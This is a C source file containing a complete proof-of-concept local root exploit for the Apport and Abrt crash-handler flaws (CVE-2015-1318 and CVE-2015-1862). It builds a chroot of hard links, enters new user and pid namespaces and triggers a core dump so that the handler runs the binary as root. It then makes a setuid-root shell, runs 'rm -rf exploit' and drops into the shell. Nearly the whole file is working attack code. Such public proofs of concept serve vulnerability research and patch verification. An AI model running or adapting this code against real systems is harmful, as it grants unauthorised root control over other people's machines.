exploit.c

#define _GNU_SOURCE

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include <signal.h>

#include <elf.h>

#include <err.h>

#include <syslog.h>

#include <sched.h>

#include <linux/sched.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/auxv.h>

#include <sys/wait.h>



# warning this file must be compiled with -static



//

// Apport/Abrt Vulnerability Demo Exploit.

//

//  Apport: CVE-2015-1318

//  Abrt:   CVE-2015-1862

// 

//   -- taviso@cmpxchg8b.com, April 2015.

//

// $ gcc -static newpid.c

// $ ./a.out

// uid=0(root) gid=0(root) groups=0(root)

// sh-4.3# exit

// exit

//

// Hint: To get libc.a,

//  yum install glibc-static or apt-get install libc6-dev

//



int main(int argc, char **argv)

{

    int status;

    Elf32_Phdr *hdr;

    pid_t wrapper;

    pid_t init;

    pid_t subprocess;

    unsigned i;



    // Verify this is a static executable by checking the program headers for a

    // dynamic segment. Originally I thought just checking AT_BASE would work,

    // but that isnt reliable across many kernels.

    hdr = (void *) getauxval(AT_PHDR);



    // If we find any PT_DYNAMIC, then this is probably not a static binary.

    for (i = 0; i < getauxval(AT_PHNUM); i++) {

        if (hdr[i].p_type == PT_DYNAMIC) {

            errx(EXIT_FAILURE, "you *must* compile with -static");

        }

    }



    // If execution reached here, it looks like we're a static executable. If

    // I'm root, then we've convinced the core handler to run us, so create a

    // setuid root executable that can be used outside the chroot.

    if (getuid() == 0) {

        if (chown("sh", 0, 0) != 0)

            exit(EXIT_FAILURE);



        if (chmod("sh", 04755) != 0)

            exit(EXIT_FAILURE);



        return EXIT_SUCCESS;

    }



    // If I'm not root, but euid is 0, then the exploit worked and we can spawn

    // a shell and cleanup.

    if (setuid(0) == 0) {

        system("id");

        system("rm -rf exploit");

        execlp("sh", "sh", NULL);



        // Something went wrong.

        err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");

    }



    // It looks like the exploit hasn't run yet, so create a chroot.

    if (mkdir("exploit", 0755) != 0

     || mkdir("exploit/usr", 0755) != 0

     || mkdir("exploit/usr/share", 0755) != 0

     || mkdir("exploit/usr/share/apport", 0755) != 0

     || mkdir("exploit/usr/libexec", 0755) != 0) {

        err(EXIT_FAILURE, "failed to create chroot directory");

    }



    // Create links to the exploit locations we need.

    if (link(*argv, "exploit/sh") != 0

     || link(*argv, "exploit/usr/share/apport/apport") != 0        // Ubuntu

     || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {  // Fedora

        err(EXIT_FAILURE, "failed to create required hard links");

    }



    // Create a subprocess so we don't enter the new namespace.

    if ((wrapper = fork()) == 0) {



        // In the child process, create a new pid and user ns. The pid

        // namespace is only needed on Ubuntu, because they check for %P != %p

        // in their core handler. On Fedora, just a user ns is sufficient.

        if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)

            err(EXIT_FAILURE, "failed to create new namespace");



        // Create a process in the new namespace.

        if ((init = fork()) == 0) {



            // Init (pid 1) signal handling is special, so make a subprocess to

            // handle the traps.

            if ((subprocess = fork()) == 0) {

                // Change /proc/self/root, which we can do as we're privileged

                // within the new namepace.

                if (chroot("exploit") != 0) {

                    err(EXIT_FAILURE, "chroot didnt work");

                }



                // Now trap to get the core handler invoked.

                __builtin_trap();



                // Shouldn't happen, unless user is ptracing us or something.

                err(EXIT_FAILURE, "coredump failed, were you ptracing?");

            }



            // If the subprocess exited with an abnormal signal, then everything worked.

            if (waitpid(subprocess, &status, 0) == subprocess)    

                return WIFSIGNALED(status)

                        ? EXIT_SUCCESS

                        : EXIT_FAILURE;



            // Something didn't work.

            return EXIT_FAILURE;

        }



        // The new namespace didn't work.

        if (waitpid(init, &status, 0) == init)

            return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS

                    ? EXIT_SUCCESS

                    : EXIT_FAILURE;



        // Waitpid failure.

        return EXIT_FAILURE;

    }



    // If the subprocess returned sccess, the exploit probably worked, reload

    // with euid zero.

    if (waitpid(wrapper, &status, 0) == wrapper) {

        // All done, spawn root shell.

        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {

            execl(*argv, "w00t", NULL);

        }

    }



    // Unknown error.

    errx(EXIT_FAILURE, "unexpected result, cannot continue");

}